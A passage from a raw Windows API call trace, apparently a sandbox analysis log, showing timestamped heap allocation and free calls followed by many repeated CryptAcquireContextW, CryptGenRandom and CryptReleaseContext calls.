hHeap=0x4f0000) returned 1 [0030.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.723] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511898 | out: hHeap=0x4f0000) returned 1 [0030.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511550 | out: hHeap=0x4f0000) returned 1 [0030.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5111f0 | out: hHeap=0x4f0000) returned 1 [0030.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511780 | out: hHeap=0x4f0000) returned 1 [0030.724] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff028 | out: hHeap=0x4f0000) returned 1 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514488 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5143f8 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514368 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5142d8 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514248 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5141b8 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514128 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514098 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514008 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513f78 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513ee8 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513e58 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513dc8 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513d38 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513ca8 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513c18 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513b88 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514638 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5146c8 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514758 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5147e8 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514878 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514908 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514998 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514a28 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514ab8 [0030.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514b48 [0030.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514bd8 [0030.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514c68 [0030.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514cf8 [0030.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514d88 [0030.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514e18 [0030.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514488 | out: hHeap=0x4f0000) returned 1 [0030.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5143f8 | out: hHeap=0x4f0000) returned 1 [0030.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514368 | out: hHeap=0x4f0000) returned 1 [0030.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5142d8 | out: hHeap=0x4f0000) returned 1 [0030.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514248 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5141b8 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514128 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514098 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514008 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513f78 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513ee8 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513e58 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513dc8 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513d38 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513ca8 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513c18 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513b88 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514638 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5146c8 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514758 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5147e8 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514878 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514908 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514998 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514a28 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514ab8 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514b48 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514bd8 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514c68 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514cf8 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514d88 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514e18 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514518 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511058 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5110e0 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5145a8 | out: hHeap=0x4f0000) returned 1 [0030.728] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0030.728] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.729] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.729] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.729] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.730] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.730] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.738] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.739] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.739] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.739] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.740] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.740] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.740] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.740] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.740] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.741] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.741] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.741] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.741] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.742] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.742] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.742] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.743] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.743] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.743] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.743] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.743] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.744] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.744] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.744] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.744] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.745] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.745] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.745] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.746] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.746] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.746] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.746] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.746] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.746] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.747] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.747] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.747] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.748] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.748] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.748] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.748] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.749] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.749] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.749] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.749] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.749] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.750] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.750] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.750] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.751] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.751] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.751] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.752] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.752] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.752] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.753] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.753] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.753] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.753] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.753] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.753] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.754] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.754] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.754] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.755] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.755] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.755] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.756] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.756] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.756] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.756] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.756] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.756] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.757] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.757] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.757] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.758] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.758] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.758] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.759] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.759] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.759] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.759] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.759] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.759] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.760] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.760] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.760] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.761] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.761] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.761] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.761] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.761] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.762] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.762] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.762] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.762] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.763] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.763] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.763] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.764] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.764] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.764] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.765] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.765] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.765] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.766] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.766] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.766] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.767] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) 